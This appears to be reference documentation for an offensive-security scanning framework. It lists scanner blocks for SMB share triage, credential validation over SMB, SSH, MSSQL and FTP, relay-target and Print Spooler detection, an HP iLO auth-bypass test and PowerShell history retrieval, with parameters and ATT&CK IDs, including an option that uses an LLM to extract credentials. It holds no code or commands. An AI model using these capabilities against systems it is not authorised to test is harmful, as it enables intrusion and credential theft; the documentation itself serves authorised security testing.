`SCANNER_SNAFFLER` *Category: `SCANNER`* Rule-based file triage scanner that finds sensitive data in SMB shares **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `target` | input | `raw_target` | no | Scan target — raw_target or scan_result from any source block or upstream scanner | | `credential` | input | `credential_smb` | no | Compatible credential | | `pair` | input | `scan_result` | yes | Pre-paired (tid, cid) items — bypasses target x credential cross-product | | `result` | output | `scan_result` | no | Scan result items | **Parameters** | Parameter | Type | Default | Required | Description | |-----------|------|---------|----------|-------------| | `timeout` | `int` | `10` | no | Per-host timeout in seconds | | `use_llm` | `bool` | false | no | Use LLM to extract credentials from matched files | | `llm_model` | `str` | "" | no | LLM model name (empty = use global model) | | `maxfilesize` | `int` | `10485760` | no | Maximum file size in bytes to download for inspection | | `maxdownloads` | `int` | `4` | no | Max concurrent file downloads per target | | `maxdownloadstotal` | `int` | `20` | no | Max concurrent file downloads across all targets | | `keepfiles` | `bool` | false | no | Keep downloaded files instead of deleting after analysis | | `skip_done` | `bool` | false | no | Skip (target, credential) pairs already scanned in a previous runloop iteration | | `skip_target` | `bool` | false | no | Skip targets that already produced results in a previous runloop iteration | | `skip_credential` | `bool` | false | no | Skip credentials that already produced results in a previous runloop iteration | **Output schema — `result`** | Field | Type | Description | |-------|------|-------------| | `otype` | `str` | Object type: file, dir, or share | | `rule` | `str` | Triage level (Black, Red, Yellow, Green) | | `rule_name` | `str` | Name of the matching snaffler rule | | `unc_path` | `str` | Full UNC path to the matched file/dir/share | | `size` | `int` | File size in bytes | | `size_human` | `str` | Human-readable file size | | `last_write_time` | `str` | Last write time (ISO 8601) | | `data` | `str` | Matched content snippet | | `resid` | `str` | Result ID (usually target IP or hostname) | | `restype` | `str` | Result type class name | | `__tid` | `int` | Target store ID | | `__cid` | `int` | Credential store ID (null for unauthenticated scans) | **MITRE ATT&CK:** `T1083` `T1552.001` --- ### `SCANNER_LDAPSIG` *Category: `SCANNER`* Checks LDAP signing and channel binding enforcement on domain controllers **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `target` | input | `raw_target` | no | Scan target — raw_target or scan_result from any source block or upstream scanner | | `credential` | input | `credential_ldap` | no | Compatible credential | | `pair` | input | `scan_result` | yes | Pre-paired (tid, cid) items — bypasses target x credential cross-product | | `result` | output | `scan_result` | no | Scan result items | **Parameters** | Parameter | Type | Default | Required | Description | |-----------|------|---------|----------|-------------| | `timeout` | `int` | `10` | no | Per-host timeout in seconds | | `skip_done` | `bool` | false | no | Skip (target, credential) pairs already scanned in a previous runloop iteration | | `skip_target` | `bool` | false | no | Skip targets that already produced results in a previous runloop iteration | | `skip_credential` | `bool` | false | no | Skip credentials that already produced results in a previous runloop iteration | **Output schema — `result`** | Field | Type | Description | |-------|------|-------------| | `resid` | `str` | Result ID (usually target IP or hostname) | | `restype` | `str` | Result type class name | | `__tid` | `int` | Target store ID | | `__cid` | `int` | Credential store ID (null for unauthenticated scans) | --- ### `SCANNER_SMBLAPS` *Category: `SCANNER`* Validates LAPS passwords against target hosts via SMB authentication **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `target` | input | `raw_target` | no | Scan target — raw_target or scan_result from any source block or upstream scanner | | `credential` | input | `credential_smb` | no | Compatible credential | | `pair` | input | `scan_result` | yes | Pre-paired (tid, cid) items — bypasses target x credential cross-product | | `result` | output | `scan_result` | no | Scan result items | **Parameters** | Parameter | Type | Default | Required | Description | |-----------|------|---------|----------|-------------| | `timeout` | `int` | `10` | no | Per-host timeout in seconds | | `skip_done` | `bool` | false | no | Skip (target, credential) pairs already scanned in a previous runloop iteration | | `skip_target` | `bool` | false | no | Skip targets that already produced results in a previous runloop iteration | | `skip_credential` | `bool` | false | no | Skip credentials that already produced results in a previous runloop iteration | **Output schema — `result`** | Field | Type | Description | |-------|------|-------------| | `resid` | `str` | Result ID (usually target IP or hostname) | | `restype` | `str` | Result type class name | | `__tid` | `int` | Target store ID | | `__cid` | `int` | Credential store ID (null for unauthenticated scans) | **MITRE ATT&CK:** `T1552.004` --- ### `SCANNER_NFS3FILE` *Category: `SCANNER`* Enumerates files and directories on NFS v3 shares **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `target` | input | `raw_target` | no | Scan target — raw_target or scan_result from any source block or upstream scanner | | `credential` | input | `credential` | no | Compatible credential | | `pair` | input | `scan_result` | yes | Pre-paired (tid, cid) items — bypasses target x credential cross-product | | `result` | output | `scan_result` | no | Scan result items | **Parameters** | Parameter | Type | Default | Required | Description | |-----------|------|---------|----------|-------------| | `timeout` | `int` | `10` | no | Per-host timeout in seconds | | `skip_done` | `bool` | false | no | Skip (target, credential) pairs already scanned in a previous runloop iteration | | `skip_target` | `bool` | false | no | Skip targets that already produced results in a previous runloop iteration | | `skip_credential` | `bool` | false | no | Skip credentials that already produced results in a previous runloop iteration | **Output schema — `result`** | Field | Type | Description | |-------|------|-------------| | `resid` | `str` | Result ID (usually target IP or hostname) | | `restype` | `str` | Result type class name | | `__tid` | `int` | Target store ID | | `__cid` | `int` | Credential store ID (null for unauthenticated scans) | --- ### `SCANNER_SMBSIG` *Category: `SCANNER`* Fast check of SMB signing status -- finds relay-attack targets **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `target` | input | `raw_target` | no | Scan target — raw_target or scan_result from any source block or upstream scanner | | `pair` | input | `scan_result` | yes | Pre-paired (tid, cid) items — bypasses target x credential cross-product | | `result` | output | `scan_result` | no | Scan result items | **Parameters** | Parameter | Type | Default | Required | Description | |-----------|------|---------|----------|-------------| | `timeout` | `int` | `10` | no | Per-host timeout in seconds | | `skip_done` | `bool` | false | no | Skip (target, credential) pairs already scanned in a previous runloop iteration | | `skip_target` | `bool` | false | no | Skip targets that already produced results in a previous runloop iteration | | `skip_credential` | `bool` | false | no | Skip credentials that already produced results in a previous runloop iteration | **Output schema — `result`** | Field | Type | Description | |-------|------|-------------| | `PROTO` | `str` | SMB dialect negotiated | | `SIGN_ENABLED` | `bool` | Signing advertised by server | | `SIGN_ENFORCED` | `bool` | Signing required by server | | `resid` | `str` | Result ID (usually target IP or hostname) | | `restype` | `str` | Result type class name | | `__tid` | `int` | Target store ID | | `__cid` | `int` | Credential store ID (null for unauthenticated scans) | **MITRE ATT&CK:** `T1046` --- ### `SCANNER_SMBSHARE` *Category: `SCANNER`* Enumerates SMB shares and tests for read/write access on each target **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `target` | input | `raw_target` | no | Scan target — raw_target or scan_result from any source block or upstream scanner | | `credential` | input | `credential_smb` | no | Compatible credential | | `pair` | input | `scan_result` | yes | Pre-paired (tid, cid) items — bypasses target x credential cross-product | | `result` | output | `scan_result` | no | Scan result items | **Parameters** | Parameter | Type | Default | Required | Description | |-----------|------|---------|----------|-------------| | `timeout` | `int` | `10` | no | Per-host timeout in seconds | | `skip_done` | `bool` | false | no | Skip (target, credential) pairs already scanned in a previous runloop iteration | | `skip_target` | `bool` | false | no | Skip targets that already produced results in a previous runloop iteration | | `skip_credential` | `bool` | false | no | Skip credentials that already produced results in a previous runloop iteration | **Output schema — `result`** | Field | Type | Description | |-------|------|-------------| | `path` | `str` | UNC share path (e.g. \\host\share) | | `writable` | `str` | Write access test result | | `description` | `str` | Share description/remark | | `access` | `str` | Access mask | | `sddl` | `str` | Security descriptor (SDDL) | | `resid` | `str` | Result ID (usually target IP or hostname) | | `restype` | `str` | Result type class name | | `__tid` | `int` | Target store ID | | `__cid` | `int` | Credential store ID (null for unauthenticated scans) | **MITRE ATT&CK:** `T1135` --- ### `SCANNER_IPMICAPS` *Category: `SCANNER`* Discovers IPMI BMCs and enumerates their authentication capabilities **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `target` | input | `raw_target` | no | Scan target — raw_target or scan_result from any source block or upstream scanner | | `pair` | input | `scan_result` | yes | Pre-paired (tid, cid) items — bypasses target x credential cross-product | | `result` | output | `scan_result` | no | Scan result items | **Parameters** | Parameter | Type | Default | Required | Description | |-----------|------|---------|----------|-------------| | `timeout` | `int` | `10` | no | Per-host timeout in seconds | | `skip_done` | `bool` | false | no | Skip (target, credential) pairs already scanned in a previous runloop iteration | | `skip_target` | `bool` | false | no | Skip targets that already produced results in a previous runloop iteration | | `skip_credential` | `bool` | false | no | Skip credentials that already produced results in a previous runloop iteration | **Output schema — `result`** | Field | Type | Description | |-------|------|-------------| | `resid` | `str` | Result ID (usually target IP or hostname) | | `restype` | `str` | Result type class name | | `__tid` | `int` | Target store ID | | `__cid` | `int` | Credential store ID (null for unauthenticated scans) | **MITRE ATT&CK:** `T1046` --- ### `SCANNER_IPMICIPHERZERO` *Category: `SCANNER`* Tests IPMI BMCs for unauthenticated cipher-zero access **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `target` | input | `raw_target` | no | Scan target — raw_target or scan_result from any source block or upstream scanner | | `pair` | input | `scan_result` | yes | Pre-paired (tid, cid) items — bypasses target x credential cross-product | | `result` | output | `scan_result` | no | Scan result items | **Parameters** | Parameter | Type | Default | Required | Description | |-----------|------|---------|----------|-------------| | `timeout` | `int` | `10` | no | Per-host timeout in seconds | | `skip_done` | `bool` | false | no | Skip (target, credential) pairs already scanned in a previous runloop iteration | | `skip_target` | `bool` | false | no | Skip targets that already produced results in a previous runloop iteration | | `skip_credential` | `bool` | false | no | Skip credentials that already produced results in a previous runloop iteration | **Output schema — `result`** | Field | Type | Description | |-------|------|-------------| | `resid` | `str` | Result ID (usually target IP or hostname) | | `restype` | `str` | Result type class name | | `__tid` | `int` | Target store ID | | `__cid` | `int` | Credential store ID (null for unauthenticated scans) | **MITRE ATT&CK:** `T1552` --- ### `SCANNER_SNMPHOST` *Category: `SCANNER`* Queries SNMP agents for system description to identify devices **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `target` | input | `raw_target` | no | Scan target — raw_target or scan_result from any source block or upstream scanner | | `credential` | input | `credential` | no | Compatible credential | | `pair` | input | `scan_result` | yes | Pre-paired (tid, cid) items — bypasses target x credential cross-product | | `result` | output | `scan_result` | no | Scan result items | **Parameters** | Parameter | Type | Default | Required | Description | |-----------|------|---------|----------|-------------| | `timeout` | `int` | `10` | no | Per-host timeout in seconds | | `skip_done` | `bool` | false | no | Skip (target, credential) pairs already scanned in a previous runloop iteration | | `skip_target` | `bool` | false | no | Skip targets that already produced results in a previous runloop iteration | | `skip_credential` | `bool` | false | no | Skip credentials that already produced results in a previous runloop iteration | **Output schema — `result`** | Field | Type | Description | |-------|------|-------------| | `resid` | `str` | Result ID (usually target IP or hostname) | | `restype` | `str` | Result type class name | | `__tid` | `int` | Target store ID | | `__cid` | `int` | Credential store ID (null for unauthenticated scans) | **MITRE ATT&CK:** `T1046` --- ### `SCANNER_HTTPHEADER` *Category: `SCANNER`* Fetches HTTP headers, status codes and page titles from web services **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `target` | input | `raw_target` | no | Scan target — raw_target or scan_result from any source block or upstream scanner | | `pair` | input | `scan_result` | yes | Pre-paired (tid, cid) items — bypasses target x credential cross-product | | `result` | output | `scan_result` | no | Scan result items | **Parameters** | Parameter | Type | Default | Required | Description | |-----------|------|---------|----------|-------------| | `timeout` | `int` | `10` | no | Per-host timeout in seconds | | `skip_done` | `bool` | false | no | Skip (target, credential) pairs already scanned in a previous runloop iteration | | `skip_target` | `bool` | false | no | Skip targets that already produced results in a previous runloop iteration | | `skip_credential` | `bool` | false | no | Skip credentials that already produced results in a previous runloop iteration | **Output schema — `result`** | Field | Type | Description | |-------|------|-------------| | `target` | `str` | Target IP or hostname | | `url` | `str` | Full URL fetched | | `port` | `int` | Port number | | `status` | `int` | HTTP status code | | `title` | `str` | Page title | | `headers` | `str` | Response headers dict | | `resid` | `str` | Result ID (usually target IP or hostname) | | `restype` | `str` | Result type class name | | `__tid` | `int` | Target store ID | | `__cid` | `int` | Credential store ID (null for unauthenticated scans) | **MITRE ATT&CK:** `T1046` --- ### `SCANNER_CVE_2017_12542` *Category: `SCANNER`* Tests HP iLO 4 for CVE-2017-12542 authentication bypass **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `target` | input | `raw_target` | no | Scan target — raw_target or scan_result from any source block or upstream scanner | | `credential` | input | `credential` | no | Compatible credential | | `pair` | input | `scan_result` | yes | Pre-paired (tid, cid) items — bypasses target x credential cross-product | | `result` | output | `scan_result` | no | Scan result items | **Parameters** | Parameter | Type | Default | Required | Description | |-----------|------|---------|----------|-------------| | `timeout` | `int` | `10` | no | Per-host timeout in seconds | | `skip_done` | `bool` | false | no | Skip (target, credential) pairs already scanned in a previous runloop iteration | | `skip_target` | `bool` | false | no | Skip targets that already produced results in a previous runloop iteration | | `skip_credential` | `bool` | false | no | Skip credentials that already produced results in a previous runloop iteration | **Output schema — `result`** | Field | Type | Description | |-------|------|-------------| | `resid` | `str` | Result ID (usually target IP or hostname) | | `restype` | `str` | Result type class name | | `__tid` | `int` | Target store ID | | `__cid` | `int` | Credential store ID (null for unauthenticated scans) | **MITRE ATT&CK:** `T1190` --- ### `SCANNER_MSSQLFINGER` *Category: `SCANNER`* Fingerprints OS and domain info from unauthenticated MSSQL NTLM handshakes **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `target` | input | `raw_target` | no | Scan target — raw_target or scan_result from any source block or upstream scanner | | `pair` | input | `scan_result` | yes | Pre-paired (tid, cid) items — bypasses target x credential cross-product | | `result` | output | `scan_result` | no | Scan result items | **Parameters** | Parameter | Type | Default | Required | Description | |-----------|------|---------|----------|-------------| | `timeout` | `int` | `10` | no | Per-host timeout in seconds | | `skip_done` | `bool` | false | no | Skip (target, credential) pairs already scanned in a previous runloop iteration | | `skip_target` | `bool` | false | no | Skip targets that already produced results in a previous runloop iteration | | `skip_credential` | `bool` | false | no | Skip credentials that already produced results in a previous runloop iteration | **Output schema — `result`** | Field | Type | Description | |-------|------|-------------| | `domainname` | `str` | NetBIOS domain name | | `computername` | `str` | NetBIOS computer name | | `dnscomputername` | `str` | DNS computer name (FQDN) | | `dnsdomainname` | `str` | DNS domain name | | `dnsforestname` | `str` | DNS forest name | | `local_time` | `str` | Server local time | | `os_build` | `str` | OS build number | | `os_guess` | `str` | OS guess string | | `os_major_version` | `str` | OS major version name | | `os_minor_version` | `str` | OS minor version name | | `resid` | `str` | Result ID (usually target IP or hostname) | | `restype` | `str` | Result type class name | | `__tid` | `int` | Target store ID | | `__cid` | `int` | Credential store ID (null for unauthenticated scans) | **MITRE ATT&CK:** `T1046` --- ### `SCANNER_MSSQLQUERY` *Category: `SCANNER`* Runs a custom SQL query across multiple MSSQL servers and collects results **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `target` | input | `raw_target` | no | Scan target — raw_target or scan_result from any source block or upstream scanner | | `credential` | input | `credential` | no | Compatible credential | | `pair` | input | `scan_result` | yes | Pre-paired (tid, cid) items — bypasses target x credential cross-product | | `result` | output | `scan_result` | no | Scan result items | **Parameters** | Parameter | Type | Default | Required | Description | |-----------|------|---------|----------|-------------| | `timeout` | `int` | `10` | no | Per-host timeout in seconds | | `skip_done` | `bool` | false | no | Skip (target, credential) pairs already scanned in a previous runloop iteration | | `skip_target` | `bool` | false | no | Skip targets that already produced results in a previous runloop iteration | | `skip_credential` | `bool` | false | no | Skip credentials that already produced results in a previous runloop iteration | **Output schema — `result`** | Field | Type | Description | |-------|------|-------------| | `resid` | `str` | Result ID (usually target IP or hostname) | | `restype` | `str` | Result type class name | | `__tid` | `int` | Target store ID | | `__cid` | `int` | Credential store ID (null for unauthenticated scans) | --- ### `SCANNER_MSSQLLOGIN` *Category: `SCANNER`* Tests credential validity against MSSQL servers **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `target` | input | `raw_target` | no | Scan target — raw_target or scan_result from any source block or upstream scanner | | `credential` | input | `credential` | no | Compatible credential | | `pair` | input | `scan_result` | yes | Pre-paired (tid, cid) items — bypasses target x credential cross-product | | `result` | output | `scan_result` | no | Scan result items | **Parameters** | Parameter | Type | Default | Required | Description | |-----------|------|---------|----------|-------------| | `timeout` | `int` | `10` | no | Per-host timeout in seconds | | `skip_done` | `bool` | false | no | Skip (target, credential) pairs already scanned in a previous runloop iteration | | `skip_target` | `bool` | false | no | Skip targets that already produced results in a previous runloop iteration | | `skip_credential` | `bool` | false | no | Skip credentials that already produced results in a previous runloop iteration | **Output schema — `result`** | Field | Type | Description | |-------|------|-------------| | `success` | `bool` | MSSQL login succeeded | | `resid` | `str` | Result ID (usually target IP or hostname) | | `restype` | `str` | Result type class name | | `__tid` | `int` | Target store ID | | `__cid` | `int` | Credential store ID (null for unauthenticated scans) | **MITRE ATT&CK:** `T1021` --- ### `SCANNER_MSSQLADMIN` *Category: `SCANNER`* Checks sysadmin privileges on MSSQL servers with current credentials **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `target` | input | `raw_target` | no | Scan target — raw_target or scan_result from any source block or upstream scanner | | `credential` | input | `credential` | no | Compatible credential | | `pair` | input | `scan_result` | yes | Pre-paired (tid, cid) items — bypasses target x credential cross-product | | `result` | output | `scan_result` | no | Scan result items | **Parameters** | Parameter | Type | Default | Required | Description | |-----------|------|---------|----------|-------------| | `timeout` | `int` | `10` | no | Per-host timeout in seconds | | `skip_done` | `bool` | false | no | Skip (target, credential) pairs already scanned in a previous runloop iteration | | `skip_target` | `bool` | false | no | Skip targets that already produced results in a previous runloop iteration | | `skip_credential` | `bool` | false | no | Skip credentials that already produced results in a previous runloop iteration | **Output schema — `result`** | Field | Type | Description | |-------|------|-------------| | `resid` | `str` | Result ID (usually target IP or hostname) | | `restype` | `str` | Result type class name | | `__tid` | `int` | Target store ID | | `__cid` | `int` | Credential store ID (null for unauthenticated scans) | --- ### `SCANNER_MSSQLPIPE` *Category: `SCANNER`* Discovers MSSQL instances via SMB named pipes and tests SQL connectivity **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `target` | input | `raw_target` | no | Scan target — raw_target or scan_result from any source block or upstream scanner | | `credential` | input | `credential` | no | Compatible credential | | `pair` | input | `scan_result` | yes | Pre-paired (tid, cid) items — bypasses target x credential cross-product | | `result` | output | `scan_result` | no | Scan result items | **Parameters** | Parameter | Type | Default | Required | Description | |-----------|------|---------|----------|-------------| | `timeout` | `int` | `10` | no | Per-host timeout in seconds | | `skip_done` | `bool` | false | no | Skip (target, credential) pairs already scanned in a previous runloop iteration | | `skip_target` | `bool` | false | no | Skip targets that already produced results in a previous runloop iteration | | `skip_credential` | `bool` | false | no | Skip credentials that already produced results in a previous runloop iteration | **Output schema — `result`** | Field | Type | Description | |-------|------|-------------| | `resid` | `str` | Result ID (usually target IP or hostname) | | `restype` | `str` | Result type class name | | `__tid` | `int` | Target store ID | | `__cid` | `int` | Credential store ID (null for unauthenticated scans) | --- ### `SCANNER_SSHLOGIN` *Category: `SCANNER`* Tests credential validity against SSH servers for shell access **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `target` | input | `raw_target` | no | Scan target — raw_target or scan_result from any source block or upstream scanner | | `credential` | input | `credential_ssh` | no | Compatible credential | | `pair` | input | `scan_result` | yes | Pre-paired (tid, cid) items — bypasses target x credential cross-product | | `result` | output | `scan_result` | no | Scan result items | **Parameters** | Parameter | Type | Default | Required | Description | |-----------|------|---------|----------|-------------| | `timeout` | `int` | `10` | no | Per-host timeout in seconds | | `skip_done` | `bool` | false | no | Skip (target, credential) pairs already scanned in a previous runloop iteration | | `skip_target` | `bool` | false | no | Skip targets that already produced results in a previous runloop iteration | | `skip_credential` | `bool` | false | no | Skip credentials that already produced results in a previous runloop iteration | **Output schema — `result`** | Field | Type | Description | |-------|------|-------------| | `success` | `bool` | SSH login succeeded | | `resid` | `str` | Result ID (usually target IP or hostname) | | `restype` | `str` | Result type class name | | `__tid` | `int` | Target store ID | | `__cid` | `int` | Credential store ID (null for unauthenticated scans) | **MITRE ATT&CK:** `T1021.004` --- ### `SCANNER_SSHINFO` *Category: `SCANNER`* Enumerates SSH crypto algorithms (KEX, ciphers, MACs) for security auditing **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `target` | input | `raw_target` | no | Scan target — raw_target or scan_result from any source block or upstream scanner | | `pair` | input | `scan_result` | yes | Pre-paired (tid, cid) items — bypasses target x credential cross-product | | `result` | output | `scan_result` | no | Scan result items | **Parameters** | Parameter | Type | Default | Required | Description | |-----------|------|---------|----------|-------------| | `timeout` | `int` | `10` | no | Per-host timeout in seconds | | `skip_done` | `bool` | false | no | Skip (target, credential) pairs already scanned in a previous runloop iteration | | `skip_target` | `bool` | false | no | Skip targets that already produced results in a previous runloop iteration | | `skip_credential` | `bool` | false | no | Skip credentials that already produced results in a previous runloop iteration | **Output schema — `result`** | Field | Type | Description | |-------|------|-------------| | `resid` | `str` | Result ID (usually target IP or hostname) | | `restype` | `str` | Result type class name | | `__tid` | `int` | Target store ID | | `__cid` | `int` | Credential store ID (null for unauthenticated scans) | **MITRE ATT&CK:** `T1046` --- ### `SCANNER_SSHBANNER` *Category: `SCANNER`* Retrieves SSH server banners for version fingerprinting **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `target` | input | `raw_target` | no | Scan target — raw_target or scan_result from any source block or upstream scanner | | `pair` | input | `scan_result` | yes | Pre-paired (tid, cid) items — bypasses target x credential cross-product | | `result` | output | `scan_result` | no | Scan result items | **Parameters** | Parameter | Type | Default | Required | Description | |-----------|------|---------|----------|-------------| | `timeout` | `int` | `10` | no | Per-host timeout in seconds | | `skip_done` | `bool` | false | no | Skip (target, credential) pairs already scanned in a previous runloop iteration | | `skip_target` | `bool` | false | no | Skip targets that already produced results in a previous runloop iteration | | `skip_credential` | `bool` | false | no | Skip credentials that already produced results in a previous runloop iteration | **Output schema — `result`** | Field | Type | Description | |-------|------|-------------| | `resid` | `str` | Result ID (usually target IP or hostname) | | `restype` | `str` | Result type class name | | `__tid` | `int` | Target store ID | | `__cid` | `int` | Credential store ID (null for unauthenticated scans) | **MITRE ATT&CK:** `T1046` --- ### `SCANNER_SSHAUTH` *Category: `SCANNER`* Enumerates accepted authentication methods on SSH servers **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `target` | input | `raw_target` | no | Scan target — raw_target or scan_result from any source block or upstream scanner | | `credential` | input | `credential_ssh` | no | Compatible credential | | `pair` | input | `scan_result` | yes | Pre-paired (tid, cid) items — bypasses target x credential cross-product | | `result` | output | `scan_result` | no | Scan result items | **Parameters** | Parameter | Type | Default | Required | Description | |-----------|------|---------|----------|-------------| | `timeout` | `int` | `10` | no | Per-host timeout in seconds | | `skip_done` | `bool` | false | no | Skip (target, credential) pairs already scanned in a previous runloop iteration | | `skip_target` | `bool` | false | no | Skip targets that already produced results in a previous runloop iteration | | `skip_credential` | `bool` | false | no | Skip credentials that already produced results in a previous runloop iteration | **Output schema — `result`** | Field | Type | Description | |-------|------|-------------| | `resid` | `str` | Result ID (usually target IP or hostname) | | `restype` | `str` | Result type class name | | `__tid` | `int` | Target store ID | | `__cid` | `int` | Credential store ID (null for unauthenticated scans) | **MITRE ATT&CK:** `T1046` --- ### `SCANNER_FTPLOGIN` *Category: `SCANNER`* Tests credential validity against FTP servers **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `target` | input | `raw_target` | no | Scan target — raw_target or scan_result from any source block or upstream scanner | | `credential` | input | `credential` | no | Compatible credential | | `pair` | input | `scan_result` | yes | Pre-paired (tid, cid) items — bypasses target x credential cross-product | | `result` | output | `scan_result` | no | Scan result items | **Parameters** | Parameter | Type | Default | Required | Description | |-----------|------|---------|----------|-------------| | `timeout` | `int` | `10` | no | Per-host timeout in seconds | | `skip_done` | `bool` | false | no | Skip (target, credential) pairs already scanned in a previous runloop iteration | | `skip_target` | `bool` | false | no | Skip targets that already produced results in a previous runloop iteration | | `skip_credential` | `bool` | false | no | Skip credentials that already produced results in a previous runloop iteration | **Output schema — `result`** | Field | Type | Description | |-------|------|-------------| | `success` | `bool` | FTP login succeeded | | `resid` | `str` | Result ID (usually target IP or hostname) | | `restype` | `str` | Result type class name | | `__tid` | `int` | Target store ID | | `__cid` | `int` | Credential store ID (null for unauthenticated scans) | **MITRE ATT&CK:** `T1021` --- ### `SCANNER_NMAP` *Category: `SCANNER`* Nmap wrapper for advanced port scanning with XML result import **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `target` | input | `raw_target` | no | Scan target — raw_target or scan_result from any source block or upstream scanner | | `credential` | input | `credential` | no | Compatible credential | | `pair` | input | `scan_result` | yes | Pre-paired (tid, cid) items — bypasses target x credential cross-product | | `result` | output | `scan_result` | no | Scan result items | **Parameters** | Parameter | Type | Default | Required | Description | |-----------|------|---------|----------|-------------| | `timeout` | `int` | `10` | no | Per-host timeout in seconds | | `skip_done` | `bool` | false | no | Skip (target, credential) pairs already scanned in a previous runloop iteration | | `skip_target` | `bool` | false | no | Skip targets that already produced results in a previous runloop iteration | | `skip_credential` | `bool` | false | no | Skip credentials that already produced results in a previous runloop iteration | **Output schema — `result`** | Field | Type | Description | |-------|------|-------------| | `resid` | `str` | Result ID (usually target IP or hostname) | | `restype` | `str` | Result type class name | | `__tid` | `int` | Target store ID | | `__cid` | `int` | Credential store ID (null for unauthenticated scans) | **MITRE ATT&CK:** `T1046` --- ### `SCANNER_NUCLEI` *Category: `SCANNER`* Template-based web vulnerability scanner powered by Nuclei **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `target` | input | `raw_target` | no | Scan target — raw_target or scan_result from any source block or upstream scanner | | `pair` | input | `scan_result` | yes | Pre-paired (tid, cid) items — bypasses target x credential cross-product | | `result` | output | `scan_result` | no | Scan result items | **Parameters** | Parameter | Type | Default | Required | Description | |-----------|------|---------|----------|-------------| | `timeout` | `int` | `10` | no | Per-host timeout in seconds | | `skip_done` | `bool` | false | no | Skip (target, credential) pairs already scanned in a previous runloop iteration | | `skip_target` | `bool` | false | no | Skip targets that already produced results in a previous runloop iteration | | `skip_credential` | `bool` | false | no | Skip credentials that already produced results in a previous runloop iteration | **Output schema — `result`** | Field | Type | Description | |-------|------|-------------| | `resid` | `str` | Result ID (usually target IP or hostname) | | `restype` | `str` | Result type class name | | `__tid` | `int` | Target store ID | | `__cid` | `int` | Credential store ID (null for unauthenticated scans) | **MITRE ATT&CK:** `T1595.002` --- ### `SCANNER_SMBWEBDAV` *Category: `SCANNER`* Detects WebDAV (WebClient) service for NTLM relay attack paths **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `target` | input | `raw_target` | no | Scan target — raw_target or scan_result from any source block or upstream scanner | | `credential` | input | `credential_smb` | no | Compatible credential | | `pair` | input | `scan_result` | yes | Pre-paired (tid, cid) items — bypasses target x credential cross-product | | `result` | output | `scan_result` | no | Scan result items | **Parameters** | Parameter | Type | Default | Required | Description | |-----------|------|---------|----------|-------------| | `timeout` | `int` | `10` | no | Per-host timeout in seconds | | `skip_done` | `bool` | false | no | Skip (target, credential) pairs already scanned in a previous runloop iteration | | `skip_target` | `bool` | false | no | Skip targets that already produced results in a previous runloop iteration | | `skip_credential` | `bool` | false | no | Skip credentials that already produced results in a previous runloop iteration | **Output schema — `result`** | Field | Type | Description | |-------|------|-------------| | `AVAILABLE` | `bool` | WebClient (WebDAV) service running | | `resid` | `str` | Result ID (usually target IP or hostname) | | `restype` | `str` | Result type class name | | `__tid` | `int` | Target store ID | | `__cid` | `int` | Credential store ID (null for unauthenticated scans) | **MITRE ATT&CK:** `T1021.002` --- ### `SCANNER_SMBSPOOLER` *Category: `SCANNER`* Detects reachable Print Spooler services for coercion and RCE attacks **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `target` | input | `raw_target` | no | Scan target — raw_target or scan_result from any source block or upstream scanner | | `pair` | input | `scan_result` | yes | Pre-paired (tid, cid) items — bypasses target x credential cross-product | | `result` | output | `scan_result` | no | Scan result items | **Parameters** | Parameter | Type | Default | Required | Description | |-----------|------|---------|----------|-------------| | `timeout` | `int` | `10` | no | Per-host timeout in seconds | | `skip_done` | `bool` | false | no | Skip (target, credential) pairs already scanned in a previous runloop iteration | | `skip_target` | `bool` | false | no | Skip targets that already produced results in a previous runloop iteration | | `skip_credential` | `bool` | false | no | Skip credentials that already produced results in a previous runloop iteration | **Output schema — `result`** | Field | Type | Description | |-------|------|-------------| | `AVAILABLE` | `bool` | Print Spooler service reachable via RPC | | `resid` | `str` | Result ID (usually target IP or hostname) | | `restype` | `str` | Result type class name | | `__tid` | `int` | Target store ID | | `__cid` | `int` | Credential store ID (null for unauthenticated scans) | **MITRE ATT&CK:** `T1547.012` --- ### `SCANNER_SMBPSHISTORY` *Category: `SCANNER`* Retrieves PowerShell command history (PSReadline) from user profiles via SMB **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `target` | input | `raw_target` | no | Scan target — raw_target or scan_result from any source block or upstream scanner | | `credential` | input | `credential_smb` | no | Compatible credential | | `pair` | input | `scan_result` | yes | Pre-paired (tid, cid) items — bypasses target x credential cross-product | | `result` | output | `scan_result` | no | Scan result items | **Parameters** | Parameter | Type | Default | Required | Description | |-----------|------|---------|----------|-------------| | `timeout` | `int` | `10` | no | Per-host timeout in seconds | | `skip_done` | `bool` | false | no | Skip (target, credential) pairs already scanned in a previous runloop iteration | | `skip_target` | `bool` | false | no | Skip targets that already produced results in a previous runloop iteration | | `skip_credential` | `bool` | false | no | 